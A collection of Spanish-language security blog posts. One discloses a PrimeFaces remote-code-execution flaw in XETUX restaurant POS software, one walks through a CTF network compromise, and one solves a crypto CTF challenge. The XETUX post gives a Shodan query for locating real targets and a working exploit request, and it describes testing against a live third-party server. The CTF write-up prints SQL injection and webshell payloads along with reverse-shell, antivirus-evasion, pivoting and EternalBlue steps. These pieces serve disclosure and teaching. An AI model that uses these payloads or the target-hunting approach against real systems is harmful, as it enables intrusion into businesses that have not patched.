Como mención honorífica, muchas gracias al creador Pablo Trujillo en crear esta herramienta hermosa y liberarlo al público como Open Hardware. Abajo están enlaces a los esquemáticos y el articulo en donde se publico el HackBat en Hackster.

Referencias

• Hackster.io. (2024, 1 mayo). Hackbat. https://www.hackster.io/pablotrujillojuan/hackbat-1dfdbc
• Controlpaths. (s. f.). GitHub - controlpaths/hackbat: Hackbat repository. GitHub. https://github.com/controlpaths/hackbat

En esta oportunidad nos encontramos por casualidad con una vulnerabilidad presente en varias aplicaciones de POS para restaurantes XETUX, la cual es una solución para monitoreo y automatización de restaurantes. En panamá es una herramienta ampliamente utilizada por varios restaurantes.

La vulnerabilidad presente es una RCE (remote code execution), que permite atacantes ejecutar códigos de manera no autenticada y ganar privilegios en el objetivo.

1. Enumeración

Una vez descubrimos que la existencia de una librería presente en la aplicación de Xetux, la librería en cuestión es llamada primefaces, encargada de generar pdf, decidimos realizar una búsqueda en shodan para identificar posibles objetivos

http.title:"@XETUX" country:PA

La búsqueda arrojo 40 resultados y 334 en el mundo

Procedemos a comprobar la vulnerabilidad en uno de los objetivos que no se encontraban en Panamá, al analizar los resultados el backend

Podemos observar que la aplicación ha sido instalada con todos los privilegios nt authoriy\system, vamos a explicar lo que sucede a continuación:

La aplicación esta usando un apache tomcat como server, para el backend se utiliza java, en la aplicación usan una librería o un plugin de terceros llamados Primefaces, la ruta con el problema es el endpoint javax.faces.resource/dynamiccontent.properties.xhtml

Al buscar sobre dicha librería encontramos una vulnerabilidad, Primefaces carga contenido dinámico de la siguiente manera

/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true

El problema se encuentra en el parámetro pdfid

pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl

El valor del parametro va cifrado y no hay manera de validar si la petición será descifrada correctamente, desafortunadamente sino modifican los valores de la llave por defecto se pueden solicitar la generación de una default key, por lo que afortunadamente para nosotros todas las pruebas realizadas mantenían la lleve por defecto.

De igual manera se podría realizar un ataque Padding Oracle Attack y obtener las llave con la Herramienta Padbuster. A continuación compartimos la solicitud

POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643

pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami

2. Reverseshell

Como mencionamos anteriormente la librería que contiene el RCE es Primefaces la cual tiene un exploit público CVE-2017-1000486

Probaremos la vulnerabilidad bajando el exploit

git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt

Ejecutamos el exploit

El mismo nos va arrojar una llave y la petición

Nos devolverá el resultado del comando

Ahora vamos a proceder a obtener la shell reversa, para obtener el acceso al server:

3. Consideraciones Finales

• Es importante destacar que la falla no solamente aplica al software Xetux, la misma esta en la librería Primefaces se encuentra en otras aplicaciones como MaxView Storage Manager y DOCBOX.

• Los fix para la vulnerabilidad se encuentran hace años puesta el mismo es del 2017, se recomienda actualizar el primefaces.

• El acceso al endpoint es sin autenticación por lo que cualquiera puede realizar peticiones, por lo que se debe validar si las peticiones son válidas.

• Si utiliza alguna de las aplicaciones mencionados compartimos el repositorio de nuclei con el que pueden comprobar si son vulnerables https://gitlab.com/t0adsec/nuclei-templates

• Responsablemente hemos informado a los proveedores de la app en sus respectivos países, no obstante a la fecha no hemos recibido contacto de parte de ellos.

4. Referencias

• XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞-CSDN博客. (s. f.). https://blog.csdn.net/holyxp/article/details/134402720
• Gobysec. (s. f.). GobyVuls/GobyVuls-Document.md at master · gobysec/GobyVuls. GitHub. https://github.com/gobysec/GobyVuls/blob/master/GobyVuls-Document.md
• Lindner, S. (2018, 26 abril). PrimeFaces Expression Language Remote Code Execution fix. illucIT Software GmbH. https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix

Nota: El CTF también contenía una serie de retos relacionados al Hacking de redes Wi-Fi, pero estos serán omitidos en el WriteUp por falta de documentación durante la explotación.

Topología de Red

La red estaba compuesta por dos servidores, uno Windows y un Linux, además un escritorio Windows 10, estos estaban en una red privada, a la que se accedía por medio de una VPN provista por los organizadores.

Webserver Linux

Reconocimiento Inicial

Al realizar un escaneo de puertos con Nmap, pudimos observar que los puertos 22, 80 y 3000 estaban abiertos, por lo que sospechamos que nos enfrentábamos a un servidor web. Luego realizamos un escaneo de servicios y versiones con Nmap, utilizando el comando:

nmap -p 22, 80, 3000 -sCV 10.1.1.101 -oN portScan

Y obtuvimos el siguiente resultado:

Al acceder al servicio web que se encontraba en el puerto 80, observamos que era una página vacía, por lo que intentamos realizar fuzzing.

El fuzzing nos dio como resultado dos rutas importantes, la primera de ellas era un archivo phpinfo.php y un directorio llamado copper.

Flag: Acceso a informacion de servidor Linux

Al ingresar al archivo phpinfo.php, podemos encontrar al final del archivo nuestra primera flag.

flag - 4789accc94caf5962a77d3f08bd2c9015c7576ea80fa0770507bf6373072529c

Directorio Copper

Una vez entramos al directorio, nos encontramos una apliciación web llamada Coppermine Gallery, que no es más que una galería de fotos. Al investigar un poco, encontramos que las credenciales por defecto eran admin:admin, al intentarlo, tuvimos acceso al panel administrativo, por lo que la aplicación tenía las credenciales por defecto.

Shell como www-data

Al investigar más sobre Coppermine Gallery, encontramos que es vulnerable a una Ejecución Remota de Comandos (RCE), por lo que explotamos la vulnerabilidad de la siguiente manera:

1. Crear una webshell o una reverse shell utilizando PHP, en nuestro caso, utilizamos php-reverse-shell.php, creado por PentestMonkey.
2. Comprimimos la reverse shell en un archivo zip utilizando zip shell.zip shell.php.
3. Accedemos al sitio de administración de plugins que se encuentra en /pluginmgr.php.

4. Subimos el archivo comprimido con nuestra reverse shell.

   

5. Iniciamos una sesión en Netcat para recibir nuestra shell.
6. Acceder al directorio /plugins/shell.php

Flag: Acceso al servidor Linux - Usuario bajos privilegios

Una vez entramos al servidor, en el directorio /var/www/, nos encontramos un archivo llamado flag.txt siguiente flag:

user - 070670a00ab35e26ae913c88637a9fcb4206829c93bf991f1ccdc07944c71ec6

Flag: Acceso a informacion de servidor Linux #2

En el directorio /var/www/html, nos encontramos una carpeta llamada backups, en esta hay un archivo llamado backup-sql.sql, si nos traemos este archivo a nuestra máquina de atacante y lo analizamos, encontraremos nuestra siguiente flag.

flag - 6dca221373d9e5086413d6def87c641431d7b3b4b9316a342f2eb26d96161f6d

PrivEsc www-data -> root

El escalado de privilegios en este servidor es bastante sencillo.

Al enumerar filtrar por los archivos con permisos SUID, por medio del comando find \-perm -4000 2>/dev/null encontramos que se encuentra el binario ./usr/bin/pkexec por lo que el servidor es vulnerable a CVE-2021-4034, o mejor conocido como PwnKit.

La explotación es simple, solamente nos descargamos el binario que se encuentra en GitHub y lo transferimos al servidor.

Al ejecutar el binario, obtenemos una shell como root.

Flag: Acceso al servidor Linux - Usuario bajos privilegios #2

En el directorio /home/greg, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de bajos privilegios.

user - 99ac9d9aa3e05bcc7593b106f3f87539ce437c397be0fd6b6113b9fdb43906d7

Flag: Acceso root al servidor Linux

En el directorio /root, encontramos un archivo llamado flag.txt y aquí obtenemos nuestra flag de root.

root - 2b19be30debdda83c56ee0bc6c0ffd1fd2ce0bc5190c930da74de59f8a795881

Con esto, concluimos la primera máquina de este CTF.

APP-01 Windows 10

Reconocimiento Inicial

Luego de realizar el escaneo de puertos y sus respectivas versiones, encontramos que en el equipo se estaban ejecutando distintos servicios, entre ellos habían servicios web (puertos 80, 443 y 3000), RPC, Netbios, SMB, MySQL, RDP, etc.

En cuanto a los servicios web, en el puerto 80 y 443 nos encontramos la pantalla de inicio de XAMPP.

Por otro lado, en el puerto 3000 nos encontramos un servidor de Gitea, de una versión aparentemente vulnerable a RCE, pero esa vulnerabilidad había sido proboada solamente en Linux.

Decidimos intentar Fuzzing en el puerto 80 con el siguiente comando:

wfuzz -c -t 500 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.1.1.101/FUZZ

Como se puede ver en la imagen, existe un directorio llamado login, vemos que su estado es 301, esto se da ya que decidimos realizar el fuzzing en al puerto 80, por lo que el servidor intenta redirigirnos al puerto 443.

Una vez entramos al directorio, encontramos una aplicación web básica que parece ser un proyecto de autenticación en PHP.

Algo curioso que encontramos en la aplicación, es que en la parte inferior derecha de la página, aparece el nombre de un blog de programación, por lo que imaginamos que es el creador de la aplicación.

Al ingresar al blog de PHPGurukul - Programming Blog, podemos encontrar este y otros proyectos de programación, así que pudimos encontrar el código fuente para analizarlo y encontrar otras cosas.

Inyección SQL 1

Al analizar el código fuente, encontramos la consulta SQL donde se realizaba el login, que era:

SELECT id,fname FROM users WHERE email='$useremail' and password='$dec_password'

Además, encontramos que la información ingresada por los usuarios no era sanitizada antes de llegar a la base de datos, por lo que era vulnerable a una inyección SQL.

Al utilizar ' OR '1'='1'; -- - en los campos de usuario y contraseña, obtenemos acceso al sitio administrativo.

Inyección SQL 2

Al navegar por el sitio administrativo, encontramos una opción para editar la información de los usuarios, lo curioso aquí, es que la información de los usuarios la obtenía a través de una consulta SQL, para poder realizar la consulta, utiliza un parámetro llamado uid, con números enteros.

Si reemplazamos el uid del usuario por un caracter especial como ', obtenemos un error de la base de datos, esto quiere decir que el parámetro es vulnerable a una inyección SQL.

Luego de mucho tiempo intentando inyecciones, realicé la siguiente consulta:

' UNION SELECT null, table_name, null, null, null, null, null FROM information_schema.tables -- -;

Esto me dió como resultado el esquema de la base de datos. Y algo muy curioso, es que me había una tabla llamada flag.

Flag: Acceso a informacion del equipo de escritorio Windows 10

Al encontrar la tabla flag, realicé unos cambios en la consulta anterior, y realicé la siguiente consulta:

' UNION SELECT null, column_name, null, null, null, null, null FROM information_schema.columns where table_name="flag" -- -;

Y habemus flag!

sql - 0ec96c090f1b4aa9d7674c6eaeef5009b6d02201cf9006b561bbd8d4e7

Inyección SQL 3 y RCE

Luego de haber conseguido la inyección SQL, pensamos si era posible escribir una webshell básica de PHP en el directorio C:\xampp\htdocs\, por lo que intentamos la siguiente consulta:

' UNION select 1,2,"<?php echo shell_exec($_GET['c']);?>",4,5,6,7 into OUTFILE 'C:/xampp/htdocs/cmd.php';-- -

Al ejecutar la consulta, nos dirigimos al archivo creado y tuvimos RCE.

Evasión de Antivirus y Shell como roger

Después de más de 3 horas intentando conseguir una reverse shell con nc.exe, php-reverse-shell.php y ejecutables creados con msfvenom, todas sin éxito, decidí enumerar información sobre Windows Defender.

Al ejecutar el comando powershell.exe Get-MpComputerStatus, encontramos que la protección en tiempo real estaba habilitada.

Esto significa que tendremos que crear un payload con msfvenom, para luego ofuscarlo, en este caso utilizando la herramienta Ebowla.

En este caso, creé un payload de meterpreter utilizando msfvenom, luego cloné el repositorio oficial de Ebowla, para ofuscar el payload.

Para ofuscar el payload, debemos editar el archivo genetic.config de Ebowla, aquí debemos ir a la sección de [ENV_VAR] y rellenar los datos con las variables de entorno del equipo víctima.

Luego de esto, ejecutamos lo siguiente

python2 ebowla.py shell.exe genetic.config

Luego de esto, debemos compilar el código ofuscado que nos da Ebowla, esto lo realizamos con el script que viene con la herramienta.

Una vez compilado, pasamos el binario a equipo víctima, en este caso con curl.

Después de enviar el archivo, abrimos una sesión de escucha en meterpreter y ejecutamos el binario.

Flag: Acceso al equipo de escritorio Windows 10

Luego de tener la shell, podemos ir al directorio C:\Users\Roger\Documents y encontraremos el archivo flag.txt con nuestra flag.

root - fae6640c394268a0fd3cf71ab749c721230982669f8733bf9b92680ec5fc5bca

En este escritorio no es necesario escalar privilegios, por lo que podemos pasar al servidor DC-01.

DC-01 Windows Server 2012

Reconocimiento Inicial

Durante el escaneo de puertos, nos dimos cuenta que estábamos ante un Domain Controller de un Directorio Activo, pero algo que llamó mucho la atención, es que no tenía el servicio SMB expuesto (al menos eso pensábamos).

Luego de ver esto, pensamos que era muy extraño que en un Directorio Activo no esté el servicio SMB en ejecución, por lo que decidimos pensar fuera de la caja y hacer otro escaneo de puertos, pero desde una de la máquinas comprometidas, en este caso el WEBSERVER Linux, por lo que utilizamos Linpeas para realizar el escaneo de puertos de la siguiente manera:

./linpeas.sh -i 10.1.1.100

El escaneo en Linpeas nos arroja que el puerto 445 está abierto, por lo que podemos hacer Port Forwarding desde la máquina Linux hasta nuestra máquina de atacante, para traer el puerto 445 y poder escanear el SMB, esto lo haremos utilizando la herramienta Chisel.

Para poder traer el puerto, primero debemos iniciar chisel en nuestra máquina de atacante con el comando:

./chisel server --reverse -p 1234

Luego, en la máquina Linux ejecutamos lo siguiente:

./chisel client 172.16.80.6:1234 R:127.0.0.1:445:10.1.1.100:445

Con esto, ya tendríamos el puerto 445 disponible, pero en este caso, el ataque lo tendríamos que dirigir a nosotros mismos, es decir, al la dirección 127.0.0.1.

Shell como nt authority\system

Para realizar el escaneo al servicio SMB, utilizamos lo siguiente:

nmap -p 445 -sCV --script "vuln and safe" 127.0.0.1 -oN smbScan

Aquí descubrimos que el servidor es vulnerable a MS17-010, o mejor conocido como EternalBlue.

Por problemas de dependencias en Python 2.7 y la colección de Impacket para Python 2, decidí explotar la vulnerabilidad utilizando Metasploit.

Una vez que se ejecuta, obtenemos una shell en el DC01 como nt authority\system.

Flag: Acceso administrador al servidor Windows

Luego de obtener la shell, en el directorio C:\Users\Administrador\Desktop, encontramos el archivo flag.txt, que contiene la última flag que nos hace falta para terminar este CTF.

root - a322ca338569fdfd2d32352dd86dab2ee584eefa5971ab3dfa0e934b0f527f79

Conclusiones

Participar en este Capture The Flag no solo me permitió aplicar y fortalecer diversos conocimientos, como la evasión de antivirus e inyecciones SQL, sino que también brindó momentos especiales llenos de diversión y sana competencia durante los desafíos presenciales. Quiero agradecir profundamente a Comunidad DOJO y OYDIA por la creación y desarrollo de este Capture the Flag. Además, quiero expresar mi agradecimiento a mi equipo, formado por Elzer Pineda, Eduardo Luna, y yo, José Navarro, por el esfuerzo que hicimos, que nos llevó a la victoria.

Referencias

• Coppermine Gallery 1.6.25 - RCE
• GitHub: php-reverse-shell.php
• GitHub: ly4k/PwnKit: Self-contained exploit for CVE-2021-4034
• PHPGurukul - Programming Blog
• GitHub: Genetic-Malware/Ebowla
• GitHub: carlospolop/PEASS-ng
• GitHub: worawit/MS17-010

Como todos sabemos, la décima edición de la conferencia DragonJar Security ha concluido, dejándonos una gran cantidad de conocimientos. En este caso, nos tocó enfrentar alrededor de 5 desafíos. No puedo empezar sin mencionar que el conocimiento para resolver este CTF proviene del profesor José Moreno en la clase de Criptografía I.

Reto 1 - Reto Criptográfico (Fácil)

En este reto se nos planteó una situación hipotética en la que estábamos siendo atacados por una persona externa. El objetivo de este reto era encontrar la flag a partir de una cadena de caracteres.

“Eres la ciberseguridad de una empresa la cual fue atacada. Para llevar a cabo tu misión, hemos podido acceder al ordenador del principal sospechoso, y hemos encontrado unos datos que no sabemos interpretar. Podría ser una fotografía, texto ASCII o, incluso, una captura de red.

eNprYEouTk4sqNTLSaxMLSrWyzHici3JSC3iKmRIjk/OT0lNLuZKzQMxuAoZI+wZGBgO70dABjDgYHBlYNBgYGRgcGBTPNQcenjaoZbSegaggAiLAwMUBDApMBg5MTAUMkWwAbk5iSWZeYaFzG2FLEGFrK2FbEGF7BrujjftBF4Gc6X6gUBJIUeSHgB54y28

¿Podrías encontrar el país desde el que opera el fiscal corrupto? La flag del reto será: flag{país}, sustituyendo país por el nombre del país en inglés y escrito en minúsculas.”

Conocimientos Necesarios

• Python

• Base64

• Cyberchef

Hora de Realizar el reto

Ahora sí, como quien diría por aquí, vamos al grano. A la hora de afrontar este reto, es de suma importancia reconocer a qué tipo de cadena nos estamos enfrentando. En este caso, podemos utilizar CyberChef para describir exactamente lo que estamos viendo. Puedes encontrarlo en el siguiente enlace:

https://gchq.github.io/CyberChef/

Lo primero que notamos al ingresar la cadena completa de caracteres es que se trata de una codificación Base64. El Base64 se utiliza comúnmente en aplicaciones de transferencia de datos en las que los datos binarios deben ser almacenados y transmitidos a través de canales que solo admiten texto, como el correo electrónico o las URL. La codificación Base64 toma secuencias de bytes y las convierte en una serie de caracteres ASCII legibles. Por lo tanto, debemos decodificar esta cadena de caracteres posteriormente.

Si profundizamos un poco más y consideramos que proviene de una codificación Base64, podemos notar que estamos tratando con una compresión Zlib Deflate.

Zlib es una biblioteca de software para la compresión de datos que se utiliza para comprimir y descomprimir datos en diversas aplicaciones y formatos de archivos.

Otra forma que podríamos utilizar para descubrir todo de manera más eficiente es empleando la herramienta “Magic” del panel de operaciones de CyberChef. Esta herramienta nos desglosará toda la información relacionada con el archivo.

Ahora que sabemos esto, podemos crear fácilmente un script en Python que descodifique la Base64 y, posteriormente, descomprima el Zlib. En este caso, mostraré el script completo y luego explicaré paso a paso cuál será el resultado de la flag.

from scapy.layers.inet import IP
from scapy.layers.l2 import *
import pickle
import zlib
import base64

data = b'eNprYEouTk4sqNTLSaxMLSrWyzHici3JSC3iKmRIjk/OT0lNLuZKzQMxuAoZI+wZGBgO70dABjDgYHBlYNBgYGRgcGBTPNQcenjaoZbSegaggAiLAwMUBDApMBg5MTAUMkWwAbk5iSWZeYaFzG2FLEGFrK2FbEGF7BrujjftBF4Gc6X6gUBJIUeSHgB54y28'

try:
    decodificado_base64 = base64.b64decode(data)
    print(decodificado_base64)
    print("\n")
    decodificado_zlib = zlib.decompress(decodificado_base64)
    print(decodificado_zlib)
    print("\n")
    deserializado_pickle = pickle.loads(decodificado_zlib)
    print(deserializado_pickle)
    print("\n")
    decodificado_scapy_ip = IP(decodificado_zlib)
    decodificado_scapy_ether = Ether(decodificado_zlib)
    print(decodificado_scapy_ether.show())
except zlib.error:
    print("No se pudo descomprimir el dato zlib")%

Este script hace lo siguiente: primero asigna el valor de la cadena Base64 a una variable llamada ‘data_comprimida’, la decodifica y luego la descomprime utilizando la biblioteca zlib. Si todo sale bien, deberíamos obtener dos nuevas cadenas de caracteres. La primera es la ‘data_comprimida’ decodificada desde Base64, y la segunda es la cadena que nos devuelve zlib.

Como podemos notar, esta cadena está relacionada con redes, posiblemente se trate de un paquete. ¿Por qué decimos esto? Bueno, existen ciertos indicios que lo sugieren. En primer lugar, observamos que contiene ‘scapy.layer.l2’. Scapy es una biblioteca de Python que se utiliza para interactuar con el tráfico de red, manipular paquetes de red y realizar análisis de protocolos de red. Pero eso no es todo, si prestamos atención a la salida, podemos notar que encontramos ‘\x80\x02’, lo cual es un indicio de que se trata de un objeto serializado con pickle. Pickle es un módulo en Python que se utiliza para la serialización y deserialización de objetos Python. La serialización es el proceso de convertir un objeto Python en una secuencia de bytes, lo que facilita su almacenamiento en archivos o su transmisión a través de la red.

Para deserializar la cadena, tendremos que utilizar pickle.load y pasarle la cadena descomprimida de zlib. También es importante mencionar que debemos importar las clases IP de Scapy y el módulo pickle. Sabiendo que se trata de un objeto serializado con pickle y que utiliza Scapy.

Si observamos la salida de la imagen anterior, nos proporcionará una dirección IP.

Ether / IP / TCP 85.214.132.117:ftp_data > 127.0.0.1:1088 S

Cosas que podemos analizar de esta cadena simple.

Ether: Esto nos indica que se trata de un paquete Ethernet, lo que sugiere que es un paquete de red.

La IP: Indica que el paquete contiene un encabezado IP, lo que nos dice que se trata de un paquete de red a nivel del Protocolo de Internet, también conocido como IP.

TCP: Indica que el paquete contiene un encabezado TCP, lo que nos lleva a pensar que se trata de un paquete del protocolo de control de transmisión, que se utiliza para la comunicación a través de conexiones TCP.

85.214.132.117:ftp_data > 127.0.0.1:1088 describe las direcciones y puertos de origen y destino del paquete. En este caso, el paquete se originó en la dirección IP 85.214.132.117 en el puerto ftp_data y se envió al destino con la dirección IP 127.0.0.1 en el puerto 1088.

La ‘S’ generalmente se refiere a la bandera “S” en TCP, que significa “SYN” (synchronize). Esto indica el inicio de una conexión TCP.

Por lo tanto, si observamos los requisitos de la flag en el enunciado del CTF, nos dice que: “La flag del reto será: flag{país}”, sustituyendo ‘país’ por el nombre del país en inglés y escrito en minúsculas. Para esto, ya tenemos la dirección IP del atacante en este caso, 85.214.132.117.

Para descubrir exactamente el país de origen del ataque, podemos buscar la ubicación de esta dirección IP. En este sentido, utilizaremos la página https://www.iplocation.net/. Colocamos nuestra dirección IP y vemos que está localizada en Alemania, Berlín, con latitud 52.5245 y longitud 13.4100.

Con esto llegamos a la conclusión que la flag es *flag{germany}.*